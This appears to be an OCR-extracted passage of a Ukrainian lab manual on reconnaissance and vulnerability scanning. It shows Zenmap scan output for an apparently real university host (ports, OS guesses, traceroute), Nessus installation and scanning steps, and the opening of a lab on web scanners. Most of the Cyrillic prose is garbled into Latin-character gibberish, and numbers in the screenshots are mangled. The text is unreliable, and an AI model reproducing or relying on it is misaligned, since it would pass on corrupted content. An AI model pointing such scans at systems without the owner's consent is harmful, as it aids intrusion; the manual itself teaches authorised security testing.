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* Zenma - a X
p
Scan Tools Profile Help
Target: | kntu.kr.ua v | Profile | Intense scan v| |Scan| | Cancel
Command:  nmap -T4 -A -v kntu.kr.ua
Hosts Nmap Output Ports / Hostgl Topology fHost Details Scans
Service - Hosts Viewer | Fisheye  Controls Legend  Save Graphic
domain
http Shntuie.us (195.230.140.114)
imap 195.230,140.90
nping-echo
P*g h93.212-1-125.ukrpack.net
pop3
dtel-ix.infocom.ua
smtp
-ix kyivstar.net
smux
ssh p 48-185-57-252 broadband kyivstar.net
tepwrapped Ohs2)yeso.1
@ iccainest
kyivstar-svc082858-1ag004519.ip twelve99-cust net
war-b2-link.ip.twelve99.net
hbg-bb2-link.ip.twelveS9.net
yk-bb2-link.ip.twelveS9.net
jo-b23-link.ip.twelve99.net
linode-ic242731-sj0-b21.ip.tw
%smnme.nmup.o@
Filter Hosts

Pucynok 2.8 — Briaaka “Topology” — BinoOpakeHHs aBTOMAaTHYHO MO0y I0BAHOT'O
rpada-Tomnosorii BiJICKaHOBaHOI 00J1acTI MEpExKi
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- Zenmap - m} X
Scan Tools Profile Help
Target: | kntukrua v \ Profile: | Intense scan v| |Scan| |Cancel
Command: | nmap -T4 -A -v kntu.kr.ua
Hosts Nmap Output Ports / Hosts Topolog)I Host Details IScans
Service &
domain
http
imap Open ports: 7 D
nping-echo Filtered ports: 993
Closed ports: 0
pop3
Scanned ports: 1000
smtp .
Up time: 23
s Lastboot  SunJan 15 17:56:57 2023
ssh
tcpwrapped s
ki IPv&:  195.230.140.114
IPvé:  Not available
MAC: Not available
=/ Hostnames
Name - Type: kntu.kr.ua - user
Name - Type: ns.kntu.kr.ua - PTR
=) Operating System
Name: AVtech Room Alert 26W environmental monitor
Accuracy: 90%
[# Ports used
[ OS Classes
[#] TCP Sequence
Eifter Hosts [# 1P ID Seauence .

Pucynok 2.9 — Briazgka “Host Details”

— HaliBaXxuBiIIa iHGOpMAIIis PO TOTOYHUH
XOCT
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= Zenmap

Scan Tools Profile Help

— -

Target: | kntu.kr.ua v | Profile | Intensescan V| |Scan| |Cancel

Command: | nmap -T4 -A -v kntu.kr.ua

Services | Nmap Output Ports/Hosts Topology HostDetaiI

05 4 Host Status  Command
Unsaved nmap -T4 -A -v scanme.nmap.org

A  scanme.nmap.org |
U kntukr.ua (195.230. Unsaved nmap -T4 -A -v kntu.kr.ua

+Append Scan == Remove Scan x Cancel Scan

Filter Hosts

Pucynoxk 2.10 — Bxnaaka “Scans” — cmucok Ta CTaH CKaHyBaHb (30epekeHo/He
30€epeKEHO)
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# Zenmap - O X
Scan Tools Profile Help

Tarset: kntu.kr.ua v | Profile: | Intense scan v| |Scan| |Cancel

Command: | nmap -T4 -A -v kntu.kr.ua

Services Nmap Output Ports / Hosts Topology Host Details Scans

0S 4 Host nmap -T4 -A -v kntu.kr.ua v Details
6} scanme.nmap.org | cpe: /; . 1inu;:linux_kérnel :3.2.0 ' ' ' - )

( kntu.kr.ua (195.230. Aggressive 0S guesses: AVtech Room Alert 26W environmental monitor (90%), FreeBSD
10.1-RELEASE (89%), Epson Stylus Pro 480 printer (88%), Netgear WGR614v7 wireless
broadband router (86%), Blue Coat PacketShaper appliance (85%), Tomato 1.27 - 1.28
(Linux 2.4.20) (85%), Linux 3.2.8 (85%)

No exact OS matches for host (test conditions non-ideal).

Uptime guess: ©.0@0 days (since Sun Jan 15 17:56:57 2023)

Network Distance: 7 hops

ICP Sequence Prediction: Difficulty=264 (Good luck!)

IP ID Sequence Generation: Busy server or unknown class

Service Info: Host: mail.kntu.kr.ua; OSs: FreeBSD, Linux; CPE: cpe:/
o:freebsd:freebsd, cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8@/tcp)

HOP RTT ADDRESS

2.00 ms 192.168.0.1

3.8 ms 46-185-57-252.broadband.kyivstar.net (46.185.57.252)
22.8@ ms dtel-ix.kyivstar.net (193.25.180.88)

22.80 ms dtel-ix.infocom.ua (193.25.180.231)

24.00 ms h93.212-1-125.ukrpack.net (212.1.125.93)

24.00 ms 195.230.140.90

25.80 ms ns.kntu.kr.ua (195.230.140.114)

NOU B W e

NSE: Script Post-scanning.
Initiating NSE at 17:57
Completed NSE at 17:57, ©.8@8s elapsed
Initiating NSE at 17:57
Completed NSE at 17:57, ©.88s elapsed
Initiating NSE at 17:57
Completed NSE at 17:57, ©.00s elapsed
Read data files from: C:\Program Files (x86)\Nmap
0S and Service detection performed. Please report any incorrect results at https://
nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.99 seconds
> Raw packets sent: 2889 (95.648KB) | Rcvd: 45 (2.823KB)

Filter Hosts

Pucynox 2.11 — ITons “Target”, “Profile”, “Command”

Ha Pucynky 2.9 no3naueni (4epBOHUM MapKepOM ) MOJIS:

— “Target” — Bu3Hauae 11b, 110 Oyae mnpockaHoBaHO. Hampukian, sKIio
HeoOximHo mpockanyBaTu miama3on Big 10.10.10.0 mo 10.10.10.255, moxnHa
BcTaHOBUTH 1iei mapamerp y 10.10.10.0/24.

— “Profile” — Bu3navae sixkuii mpodine Oyne BUKOPUCTAHO ISl CKaHYBAaHHSI.
[Tpodini moxxkHa ab0 CTBOPIOBATH CaMOCTIITHO, a00 BUKOPUCTOBYBATH icHYI0Ui. [Ticis
BHOOPY mpodisist Horo psaok Oyae po3mirieHo y mose “Command”.

— “Command” — Bu3HaYa€e KOMaHIHUN PANOK, IKUH OyJe BUKOHAHO B MPOIIECi
CKaHyBaHHS. MOro MOXHa 3MiHHTH, SKIIO, HAMPUKIAK, NMeBHUH mnpodins Gyme
BHKOPHCTAHO JIMIIIC SIK OCHOBY ITOJIJIBIIIOT0 CKaHyBaHHS.
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3aBaaHHA:

CkiacTé XapakTEepHUCTUKY KOMIT'IOTEpIB Ta TOMOJOTIYHY Maly Mepexi,
BUKOpUCTOBYIOuM iHCTpyMeHTH Nmap/Zenmap a6o ixmi. OkxpeMo 3a3HAYUTH
KOMaH/y, TOSICHUTH BIUIMB KOXXHOI BHKOPHCTaHOI OMIlii Ha poOOTy mporpamu. Y
XapaKTEPUCTHII KOMIT IOTEPiB MMOBUHHI OYTH BUKJIJICHI HACTYIHI MUTaHHS:

— BIAKPHTI IOPTH;

— 3amylleHi CepBicH;

— Bepcii onepaliiiHuX CUCTEM;

— HaJlaHl MPUITYIIEHHS — K1 CePBICM MOXYTh OYTH 3amyIlleHl Ha BIIKPUTHX,
aJie He BU3HAYCHUX NPU CKaHyBaHHI OPTaXx;

— KOPOTKHM OIKMC CEPBICIB, 1110 3alyIICHI B MEPEXKI;

— JIeKUIbKa (SKIIO €) BPa3JIMBOCTEH KOXXHOTO 3 CEpBICIB, IIO 3amylIeHO Ha
X0CTax, 3a iHhopMarliero HalioHaapbHO1 0a3u BpaznuBocteid CIIIA — nvd.nist.gov.

Pesynbrar ckanyBanHs NMap 3 KoMaHI00 3aIlyCKy JOJaTH J0 3BITY.
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JlaGopaTopHna podora Ne 3

Tema: JlochimkeHHs Bpa3auBocTed cucTeMH abo0 Mepexi 3a JIOMOMOTOIO
CIIel1aJIi30BaHOT0 CKaHepa Bpa3auBocTei — Nessus.

Mera: BusHauuTu Ta TNpPOBECTH aHali3 BPA3IUBOCTEH 13 BUKOPHUCTAHHSIM
ckanepy Nessus.

TeopernuHi BizomocTi

36ip iHdopMaIlii — OAMH 13 HAWTOJOBHIIIMX Ta BIANOBIJAIBHININX ETaIliB
MPOBEJCHHS JOCTIKEHHS 3aXHUIIEHOCTI KOMIT IOTEPHOI CUCTEMH abo Mepexi; BiH,
HaiyacTie, € 1 HaijoBMM. IcHye sk Oaratro MeToniB, Tak 1 Oarato 3aco0iB
(1IHCTpYMEHTIB) J1s1 IPOBEJIEHHA 300py HE00X1/1HO1 1H(opMmanii. KoxHui 1HCTpyMeHT
BUKOPHCTOBYE CBIM HaOIp METOMIB JOCHIIKCHHS CHCTEM, a KOXHHUM METOJ
HampaBJIeHO Ha NeBHY o0nacTh cucrteMu. Cxkanep NMmap mae ayxe MIMPOKUIN CIIEKTP
3aCTOCYBAaHHS, BIH JO3BOJISI€E BUSBUTU JEsSIKI Bpa3jIMBOCTI CUCTEMH, aje HE €
CIellali30BaHUM Yy MM Tamy3i JOCHKeHb. Y TOM ke Jac, 0arato CHeIaicTiB 3
1H(opMarliiiHo1 0e31eKu po3pOOIISIIOTH CBOI IHCTPYMEHTH, 1110 CTEI1aIbHO CTBOPEHI K
3aco0M  JOCHDKEHHS  Bpa3jMBOCTeH — ckaHepu  BpasnuBoctei (Vulnerability
scanners). OTHUM 3 HAUTIOTYKHINIMX TaKKX 3ac00iB € Nessus.

V miit nabopaTopHiii po60TI HEOOX1THO BUKOHATH 1HCTAIAIIIO makeTy Nessus Ha
norepeHbo BcTaHoBieHy cuctemy Kali LinUX i BUKOHATH CKaHyBaHHS IEBHOI
KOMIT'FOTEPHOT CHCTEMH a00 KoMl 'toTepa (mepex CKAHYBAHHSIM 000B’SI3KOBO
OTpUMAaNTe JA03BLI Bil BJIaCHMKA CUCTeMH a00 Mepexi!), pe3ysbTaTu CKaHyBaHHS
chopMyBaTH y 3BiT, 3MICT 3BITY P03’ ICHEHO Y 3aBJaHHI1 J0 11i€i Ja00paTopHOT pOOOTH.

JInst  BCTAaHOBJEHHS TAKETy 3aBaHTaXTe #oro 3 OQIUIMHOrO CcaTy
https://www.tenable.com/ (morouna CTOpiHKa 3aBaHTaKCHHS
tenable.com/downloads/nessus). O6epiTh Bepcito nakety s Debian ta HeoOXigHy
po3psanicTh. Ilicnsg 3aBaHTaXeHHS BIAKPUNTE KOHCOJIb 3 TIpaBaMU CyIep-
KopucTyBaya (root) Ta mepelaiTh y Manky 3 MNaKkeTOM. BCTaHOBICHHS TaKeTy
3MIIACHIOETHCS 32 JOMOMOIOI0 KOMaH/IH:

- dpkg -i <imM’'g abo mngax OO BauwoTo IakeTy>.deb.

[Ticnst BcTaHOBJIGHHS Y KOHCOIMI Oyie, npubin3Ho, HactynHe (PucyHok 3.1):
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root@kali: /lhome/kali/Downloads

File Actions Edit View Help

/home/kali/Downloads

/home/kali/Downloads

/home/kali/Downloads
Nessus-10.4.2-debian9_amd64.deb
Selecting previously unselected package nessus.
(Reading database ... 523483 files and directories currently installed.
Preparing to unpack Nessus-10.4.2-debian9_amd64.deb
Unpacking nessus (10.4.2) ...
Setting up nessus (10.4 sea
HMAC : (Module_Integrity) : Pass
SHA1 : (KAT_Digest) : Pass
SHA2 : (KAT_Digest) : Pass
SHA3 : (KAT_Digest) : Pass
TDES : (KAT_Cipher) : Pass
AES_GCM : (KAT_Cipher) : Pass
AES_ECB_Decrypt : (KAT_Cipher) : Pass
RSA : (KAT_Signature) : RNG : (Continuous_RNG_Test) : Pass
Pass
ECDSA : (PCT_Signature) : Pass
ECDSA : (PCT_Signature) : Pass
DSA : (PCT_Signature) : Pass
TLS13_KDF_EXTRACT : (KAT_KDF) : Pass
TLS13_KDF_EXPAND : (KAT_KDF) : Pass
TLS12_PRF : (KAT_KDF) : Pass
PBKDF2 : (KAT_KDF) : Pass
SSHKDF : (KAT_KDF) : Pass
KBKDF : (KAT_KDF) : Pass
HKDF : (KAT_KDF) : Pass
SSKDF : (KAT_KDF) : Pass
X963KDF : (KAT_KDF) : Pass
X942KDF : (KAT_KDF) : Pass
HASH : (DRBG) : Pass
CTR : (DRBG) : Pass
HMAC : (DRBG) : Pass
DH : (KAT_KA) :
ECDH : (KAT_KA) :
RSA_Encrypt : (KAT_As
RSA_Decrypt :
RSA_Decrypt :
INSTALL PASSED
Unpacking Nessus Scanner Core Components ...

- You can start Nessus Scanner by typing /bin/systemctl start nessusd.
- Then go to https://kali:8834/ to configure your scanner

/home/kali/Downloads

Pucynok 3.12 — IToBigomiieHHs Biajsoro BctaHoBiaeHHsS Nessus

[Ticyist BCTaHOBJICHHS 3aITyCTITh CKaHEP 3a JOTIOMOTOI0 KOMaHIM 110 BKa3aHa y
Balllii KoHCoJI1 a Ha PucyHok 3.1 mo3HaueHa 4epBOHUM MapKepOM.

[Ticnst Toro sik cepBic Oyjie 3amyIeHo, BIAKpuiiTe BeO-Opay3ep Ta BBEITh y HOTO
aZpeCHUi PSAJOK aapecy, 0 BKa3aHa y Balliil KoHcou, a Ha Pucynky 3.1 BujiiaeHo
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CHHIM MapKepoM, OTiM HaTUCHITh Enter. Skiio Be0-Opay3ep BKake Ha HEMOKJIMBICTh
BCTAHOBJICHHSI O€3MEYHOTO 3’€JHaHHS (3a MpoTokojoM https) — momaiiTe BUHATOK Y
Oesmeky Bamoro opaysepy. CraproBy cropinky Nessus 300pakeno Ha Pucynok 3.2.

Pucynok 3.2 — CraproBa cropinka Nessus

O0epith “Nessus Essentials” (6e3xomtoBHa Bepcist Isl OCBITSH), HATHCHITH
“Continue”. Jlaii BBeIiTh iM’s1 Ta apecy €IEKTPOHHOI MOIITH HOBOTO KOPUCTYBaya.
[TigTBepauBIIM BBeACHI OaHi, HathcHITE “Email” Ta BBemiTh JiNCH3IMHUN KIIHOY.
JlineH31iiHUI K04 YHIKaJIbHUM JUIsl KOXKHOTO KOPUCTyBada 1 BIH TOCTIMHHMM Ta
BiANpaBIAEThCS HA MOITY. MIOro MOKHA B JAHOMY BHIIAAKY BBAXATH KOIOM
HiATBEPKEHHS, TOMY IO i JiilieH3is Ha Oe3komToBHY Bepcito (Nessus Essentials),
sgKa caMe 1 po3paxoBaHa Ha 0a30By poOOTY 3 MPOAYKTOM Ta MITXOIUTH JJIS OCBITSH
[Ticns 1poro mouHeThest 3aBanTakeHHs (Pucynok 3.3).
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Pucynox 3.3 — IIporec 3aBaHTaKeHHS

3ayBakTe, IO MEPIIMKA 3amyCcK CKaHepa MOXE€ TPUBATU JOBIO 1 MOTpedye
3’e¢qHaHHs 3 iHTepHEeTOM. [licis 3amycKy yBilIITh O CBOTO OOJIIKOBOTO 3aIUCy, IO
Oyno crBOopeHO Ha mnouaTky. llpu mnepmomy 3amycky neski (yHkuii OyayTh
JI€3aKTUBOBAH1 JIOTH, JIOKM YCl TMOTPIOHI TUIariHM HE CKOMIIUTIOIOThCA. Komwm 11e
BiIOyIeThCs — 3 IBUTHCS BiAMOBiaHE noBinoMieHHs (PucyHok 3.4).
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o

Nessus Essentials / Folde X +

C @ oa kali

KaliLinux # KaliTools # KaliDocs W KaliForums X Kali NetHunter #< Exploit-DB Google Hacking DB

nessus

Welcome to Nessus Essentials

Pucynok 3.4 — BikHO mpUBITaHHS [IPU NEPIIOMY 3aITyCKY (3’ SBIISIETHCS MICIIS
MTOB1JIOMJICHHSI, BUIJICHOTO YePBOHUM MapKEpPOM)

[Ticns mporo HatucHITE “New Scan”. Ha HOBii cTopiHill 00epiTh MOTPIOHUM
mabJIOH CKaHyBaHHs. 3arajioM, ckanyBaHHs1 y NeSSUS MOoAUISI0TECA Ha TPU TUIIH:

— “Discovery”: MicTUTh IIa0JIOHH, IO IIYKAIOTh XOCTH Ta BIJKPHUTI MOPTH
(ananor — mepexxeBuil ckanep moptie Nmap);

— “Vulnerability”: micTuTh mabgOHM, IO CKAHYIOTh 3aJaHi CHUCTEMH Ha
HAasBHICTh BpPa3JIMBOCTEH, MHOXKWHA SKUX BHU3HAYAETHCS IMiIKIIOUYCHUMH ITUIariHaAMH,
Ma€ B OCHOBI CKaHEp BIJKPUTHUX MOPTIB;

— “Compliance”: wMictuth mAaOJOHW I  TEPEBIPKA  BiJMOBIIHOCTI
CUCTEeM/Mepek MeBHUM CTaHIapTaM; BOHU € HaJ0yTOBOIO JIJIsl CKaHepa BPa3JIMBOCTEM,
MaroTh J1y’K€ BY3bK€ MPU3HAUYECHHS Ta JOCTYIIHI Y mpodeciitHiil Bepcii.

CkaHyBaHHS B MeXaxX OJIHOTO THITY BIJIPI3HSIOTHCS HANAMTYBaHHSAM Ta
migkIoYeHnMy miarinamu.  “Advanced Scan” nmae TOBHHMM KOHTPOJbL IS 3MiH
HaJaIITyBaHb Ta MiIKIIOUYCHHS OKPEMHUX IJIariHIB M CIMEHCTB TUIariHiB.

[TpoBenemo 6a3oBe ckanyBaHHs Mepexi. [1iis iporo HaTucHITEH “Basic Network
Scan” (Pucynok 3.5).
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(“ynessus

Logdshall Logdshell Remote Checks

Pucynok 3.5 — lllabnonu ckanyBaHb, 0a30Be CKaHyBaHHS Mepexki BULICHE
YEPBOHUM MapKepOM

Jami o0epiTh Ha3BY JIJIsl CKAHYBaHHS Ta BBEITH 111111, SIK1 TparHeTe BiJICKaHyBaTH
HAIPHKIIAJ: Habip pomeHiB (example.com), IP-agpec xocTti (192.168.0.1) un mepex
(192.168.0.0/24). JIns naHOrO MPHKIAAY BBEIEMO aJApPECy JIOKAIBLHOI Mepexi
(Pucynoxk 3.6).

Settings Credentials

BASIC

DISCOVERY
ASSESSMENT
REPORT

ADVANCED

Cancel

Pucynok 3.6 — HanamryBanHs ckaHyBaHHS
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Xo04 1IBOTO 1 IOCTaTHBO ISl TTOYATKy CKaHyBaHHSA, BapTO 3a3HAUUTH, K caMe
MOYKJIMBO HaJalITyBaTH CKaHyBaHHs BiIMOBIIHO 10 OTPEO.

Po3nin “Basic” mo3Bomsie oOpaTu i, 3aIIaHyBaTH CKaHYBaHHS Ha TIOTPiOHUI
Yac Ta BiMPABUTH JIUCT HA €JIEKTPOHHY MOIITY 31 CTaTyCOM CKaHyBaHHS.

“Discovery” npu3HaueHUH IS HATAIITYBAaHHS CKaHEPa BiTKPUTUX MTOPTIB.

Y pozmim “Assessment” MokHa 3a3HAYMTH, SK CaMe TOBOJIUTHUCS IIiJl Yac
CKaHyBaHHS pI3HUX THMIB IUIeH, Y MIAKIOYATACA A0 3HaWIEHUX CEpBICIB 3a
JOMIOMOT 00 3a3HAa4YEeHUX OOJIIKOBHX JIaHUX, M poBoutu bruteforce araku rormo.

Poznin “Report” Biamosigae 3a 3MICT Ta AETAIBHICTD 3BITY.

Hacamkinenp, posnmin “Advanced” MicTUTh HallAlITyBaHHS, MOTPIOHI s
e(eKTUBHOTO CKaHYBaHHA B OKPEMHUX yMOBax (HAmpUKIaJ, y MEPeXi 3 HHU3BKOIO
MIPOITYCKHOIO 3[aTHICTIO) Ta TaKi, [0 MOXYTh HAHECTH LIKOAY MEPEXkKi UM CUCTEMAaM.

Takox, OKpiM HajamTyBaHb, HaM JjgocTynHi Bkiamku “Credentials” Ta
“Plugins™. ¥ Bkiazmi “Credentials” moxxHa go1aT 00TIKOBI JaHi 111 aBTOPH30BAHOTO
JOCTYILy CKaHepa J0 NEBHUX CUCTEM, 1110 J1a€ 3MOTy OUIbII IITHO0KO IX MPOCKaHYBATH.
“Plugins” mMicTuTh mepestik CIMEHCTB IUIariHiB, 00’ €JHAHUX ITEBHOIO OCOOIHMBICTIO, SIK
TO I[IJIbOBA CHCTEMa/CEPBIC UM 0COOJIMBA TEXHIKA CKAaHYBaHHS.

Jlyia 3amycky CKaHyBaHHS MOKHA 30€perTH IalJioH 3a JOTOMOTOI0 KHOTKHU
“Save” Ta oKpeMo 3aIyCTUTH CKaHYBaHHS Ha TOJIOBHIN CTOPIHIIl, OJHAK JIJIsl TOTO, 1100
oJlpa3y 3alyCTUTH CKAaHYBaHHsS, MOTPIOHO HATUCHYTH HAa TPUKYTHHUK Ol KHOIKU
“Save” ta obparu omiriro “Launch” (Pucynok 3.7).

Cancel

Pucynok 3.7 — 3amyck ckaHyBaHHS

VY cnucky Ha TOJOBHIA CTOpPIHINl 3 SBUTHCS CTBOPEHE CKaHyBaHHS, II00
J3HATHUCS WOTO CTaTyC Ta moapoduili Tpeda JIBidi HATUCHYTH Ha Hboro. Croctepiratu
3a CKaHyBaHHSM MOXKHA y peajbHOMY 4aci, OIS KOXKHOTro xocTa y Bkiasil “Hosts”
3a3HaYa€ThCS BIJCOTOK BUKOHAHHS ckaHyBaHHS (Pucynok 3.8, yepBoHUil Mapkep).
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Configure

Hosts 3 Vulnerabilities 34 History 1
Filter = Q

| Host Vulnerabilities v % Scan Details

192.168.0.10

Vulnerabilities

‘»

PI/ICYHOK 3.8 — Bukonanns CKaHyBaHHA, BiI[COTOK BHMKOHAHHSA AJI1 KOXKXHOI'O XOCTa
BH,Z[iJIeHO YCPBOHHUM MApPKCPOM

Komu CKaHYBaHHS 3aBCPIIUTLCA, 1O0AATOK MAaTHUMC BUIJIAA SIK Ha PI/ICYHKy 3.9.

ycal Network Scan
Local Network Scan Configure Audit Trail Launch ¥ Report Export ¥

Hosts 3 Vulnerabilities 56 Remediations 1 VPR Top Threats History 1
Filter v o}

Host Vulnerabilities v Scan Details

192.168.0.1

192.168.0.100

Elapsed

Vulnerabilities

Pucynok 3.9 — CkanyBaHHsI 3aBEpIIECHO

Aximo ABiYl HATUCHYTH Ha OyAb-SKHM 3 MPOCKAHOBAHMX XOCTIB, MaTHMEMO
MO>KJIUBICT MEPErIIHyTH MOAPOOUIIl XOCTa, 3MIHUTU HOr0 Ha 1HIIUH 31 CIHCKY, Ta,
HAWTOJIOBHIIIE, TIEPETVIAHYTH CIHCOK BPAa3JIMBOCTEH, 3a3HAYCHWX [UIsI HBOTO
(Pucynox 3.10).
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ncal Network Sca /192 168 1
Local Network Scan / 192.168.0.1 Configare) || AudieTral e Toot oot =

Vulnerabilities 24
Fllter » Q 24

Sevy Scorey Name & Family a Count v
Host:

MIXED : i Mattjohnsto Misc

EE 65 ProwardingEna.. Firewalls

Host Details

i DNs (Multiple..  DNS
B ssH (Multiple Misc
B HTTP (Multipl Web Servers

Itiple..

Vulnerabilities

Device Type
Embedded Web S.

Ethernet Card Ma

Pucynok 3.10 — [TompoOGuiii ckaHyBaHHSI OKPEMOTO XOCTa

KoxHuil 13 3aMKCIB y COUCKY € pe3yJbTaTOM POOOTH MEBHOIO MOJIYJIS, TOMY
BPa3JIMBOCTSAMHU Y TAKOMY BUIIAJKYy 3a3BHYail BBAXKAIOTHCS yC1 3alMCH, 110 HE MAIOTh
no3nauku “Info”. Koxuuit 3amuc Mae CBOI MO3HAYKY TSDKKOCTI, Oay 3a IIKajIor
TSDKKOCTI (IIIKaja 3a3HAYa€ThCsA y HAJAIMNTYBAHHSX CKaHYyBaHHS), Ha3BY, CIMEHMCTBO
IJIariHiB Ta KUIBKICTh MOsAB. BapTo mam’sTaTd Opo MOMIMUBICTH MOMMIJIKOBHUX
pe3yabTariB, Bimomux Ime sk ‘“false positives”. Uepes me KoxHY 3 Bpa3iIUBOCTEH,
3HAMIEHUX CKaHEpPOM, Tpeba OKpeMo MEepeBipsATH Ha JikcHICTh. KoXkHMil 13 3amuciB
MOy OYTH pO3TOpHYTHM IS BimoOpaskeHHs aetanbHol iHdopmartii (Pucynok 3.11).
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Local Net Scan / Plugin #93650

Configure  Audit Trail taunch ¥ Report  Export

Vulnerabilities |24

camcat . Dropbear SSH Server < 2016.72 Multiple Vulnerabilities

Description

Risk Information

Solution

See Also

Output

Vulnerability information

Reference Information

Pucynok 3.11 — JleranpHa iHGOpMaIlis Ipo BPa3IUBICTh

[loBepTatouuch Ha OCHOBHY CTOPIHKY 3 pe3yJbTaTaMH CKaHYBAaHHS
(Pucynok 3.9), MokHA MOMITUTH 1€ AEKiIbKa BKIam0K OokpiM “HOStS”. YV Bkmammi
“Vulnerabilities” mepemnideHi yci 3HaiaeHi Bpa3IMBOCTI, IO JI0 TOTO XX 3rPYIOBaHi 3a
TemaTukoro. Y Bikiaami “‘Remediations” mepemiueHi pekomMeHmamii I IIBHAKOTO
BUMIPABJIICHHS KPUTHYHUX Bpa3nmBocted. Briamka “VPR Top Threats” wmictuthb
CIIMCOK HaWOUIBII IPIOPUTETHUX JIJIS BUIPaBIIeHHS Bpa3nuBocTeit (Pucynok 3.12).
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vcal Network Scan
Local Network Scan Configure Audit Trail Launch ¥ Report Export

Hosts 3 Vulnerabilities 56 Remediations 1 VPR Top Threats @ History 1
Q
Action Vulns v Hosts Scan Details

Dropbear SSH Server < 2016.72 Multiple Vulnerabilities: Upgrade to Dropbear SSH version 2 1
2016.74 or later,

ocal Network:Scan
Local Network Scan Configre  Audit Trail Launch ~ Report

Hosts 3 Vulnerabilities 56 Remediations 1 VPR Top Threats \: History 1

reat Level: Medium

ority Rating Scan Details

ding a

VPR Severity Reasons VPR Score v Hosts

Dropbear SSH Server < 2016.72 Multiple V...No recorded events 58
SSL Medium Strength Cipher Suites Supp... No recorded events 5.1
1P Forwarding Enabled No recorded events 40
Dropbear SSH Server < 2013.59 Multiple V...No recorded events

SSH Server CBC Mode Ciphers Enabled No recorded events

Pucynok 3.12 — Pekomenaaii 1151 BUpaBIeHHS KPUTUYHUX BPa3TUBOCTEH Ta
MPIOPUTETHI BPA3JIUBOCTI

Pe3ynbratu ckaHyBaHHS MIJCYMOBYIOTHCSI 32 JOIIOMOTOIO 3BITY. Y MpaBOMY
BEPXHBOMY KYTI 3a JIONIOMOT0I0 KHOIIKH “Report” moxkHa 3reHepyBaTu 3arajibHui abo
JETaNbHUI 3BIT, y AKOMY MEpEiueHi YCl 3HaIeH1 Bpa3IMBOCTI JIJIsl KOKHOTO XOCTa.

Hacamkinenp, BapTo mam’siTaTH, IO CKaHEpU BPaA3JIMBOCTEH OyXkKe aKTUBHO
BUKOPUCTOBYIOTh MEPEKY 1 BAKOHYIOTh BEJIMKY KUTBKICTh 3alUTIB /10 XOCTIB, 1110 MOXE
BUBECTH 3 JIaJly MEpEeXy 4M IEeBHUU cepBic Ha XocTi. ToMy 3aBxAu MOTPiOHO
y3roJ)KyBaTu IapaMeTpH CKaHyBaHHS 3 TUM, XTO Ja€ J03BLT HA CKAaHYBaHHS LI, Ta y
pasi HasgBHOCTI YYTJIMBUX CHCTEM/CEpPBICIB CKaHyBaTH iX OKPEMO, HAJAIITOBYIOUU
CKaHyBaHHsS Ha MEHII arpeCUBHUI PEeXUM pOOOTH (MEHIlE MapajelbHUX 3aIuTIB,
MEHIIIA YaCTOTa 3aUTIB, «0€3MeUYHUI pEeKUM» TOIIO) Ta IUIAaHYBaHHS MOr0 BUKOHAHHS
HEe HepoOouHMii yac.
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3aBaaHHA:

— PosropuyTtu ckanep BpasznuBocTeld NESSUS, MPOBECTH CKaHYBaHHS MEpPEKi
a00 OJHOTO KOMIT'IOTE€pa SK MIHIMyM TpboMa crmocoOamu, mo Hamgae Nessus;
000B’s13k0B0 mpoBecTH po3iupene (Advanced) ckanyBaHHS.

— TlopiBHsATH pe3ynbTaTé ckanyBaHHs “Basic Network Scan” 3 orpumanumu
MIpY BUKOHAHHI JabopaTtopHoi pob6oTu Ne 2, BUBHaYNTH XMOHO 3HANIEHI BPa3IMBOCTI,
AKIIO TaKl €; 0OTPYHTYBaTH BHOIp.

— 3Bit “Advanced” ckaHyBaHHS MOMICTUTH Y JIOJIATOK J0 3BITY Ja00paTOPHOT
pobotu. Pe3ynbTaTam ckaHyBaHHS HaJaTH KOPOTKY XapaKTEPUCTUKY (IO KOXKHIHN i3
3HaWICHUX Bpa3IMBOCTEH, He paxyroun “Info”).

— Y BUCHOBKY MOPIBHITH MeTO]1 300py 1H(hopMallii 3 1abopatopHoi podoTu Ne 2
ta Ne 3, BkazaTu, 3a SKUX OOCTaBMH Ta JJIs SKHX LUIEH CIemiasicTa Kparie
BUKOPUCTOBYBATH MEPIIUNA METOJ, a KOJIU — IPYTUH.
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JlaGopaTopHna podora Ne 4

Tema: BusHauenus BpasznuBocTed BeO-pecypciB Ta BeO-momatkiB. CkaHep
BpazimBocTeit — OWASP ZAP.

Mera: Otpumaru HaBUYKH 300Dy iH(OpMALii PO BPA3IHUBOCTI 32 JOTIOMOTOIO
ckanepa BpasznuBocteit OWASP ZAP.

TeopernuHi BizomocTi

OpHuM 3 HaNOUIBII MOIIMPEHUX BEKTOPIB MPOBEACHHS aTak € BeO-I0JaTKU Ta
BeO-pecypcu kommanii. lle cnpuumHeHO TXHBOIO JOCTYITHICTIO 330BHI Ta BEIUKOIO
KUIBKICTIO BPa3jiMBOCTEH, IO MHOLIMPEHI BeO-TexHOoJOTisiMU. OOHUM 3 HaWOLIbII
MOIIMPEHUX  3aco0iB IS BU3HAYEHHS  Bpa3duBOCTEM pecypciB €  Burp
Suite (Pucynoxk 4.1).

Burp Suite Community Edition v2022.12.5 - Temporary Project

7 Filter | High | Medium | | Low | Info ) |  Certain | Firm | Tentative

Eventlog

Time Type Source Message
18:39135 Feb 2023 Info Proxy Proxy service started on127.0.0.1:8080

Memory: 85.9MB I Disk 32KB

Pucynok 4.13 — Burp Suite

Burp Suite — e yniBepcanbHuii 3acib, cepen WOro iHCTPYMEHTIB € Taki, IO
JI03BOJISIIOTH SIK 310patu iH(opMaIrito mpo BeO-pecypce, Tak 1 OpraHizyBaTu Ta MPOBECTH
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ataky, Hanpukiaang — SQL-1H’ekiiro. Aue mei 3aci0 O1Ible MiIX0AUTh JJIs TOTO, 1100
BUBYATH B)KE 3HAWJIEHI a00 MiATBEPAUTH ICHYBAHHS MOJKJIMBUX Bpa3iauBocTel. Jlis

OLTBIIIOCTI WOTO IHCTPYMEHTIB 30CEpeKeHa Ha IEBHIM CTOpiHI ab0 Ha MEBHOMY
€JIEMEeHTI BeO-/10JIaTKy YU pecypcy.

Burp Suite mae HH3KY [TOIATKOBHX MOMJIMBOCTEH, SIK TO aBTOMAaTHYHE
CKaHyBaHHs, OJHAK JOCTYIHI BOHHM Juiie y Pro-sepcii. ¥ Toii xe wac OWASP
ZAP (Pucynoxk 4.2), sikuii € 0e3KOIITOBHOIO anbTepHATHBOIO BUrp Suite 3 BimkpuTum
BUXI1THUM KOJIOM, Ja€ 3MOT'Y BUKOHATH aBTOMAaTUYHE CKaHyBaHHS BeO-0aTKy 0JIpa3y

TICIIS 3aITyCKY.

\ Untitled Session - OWASP ZAP 2.12.0

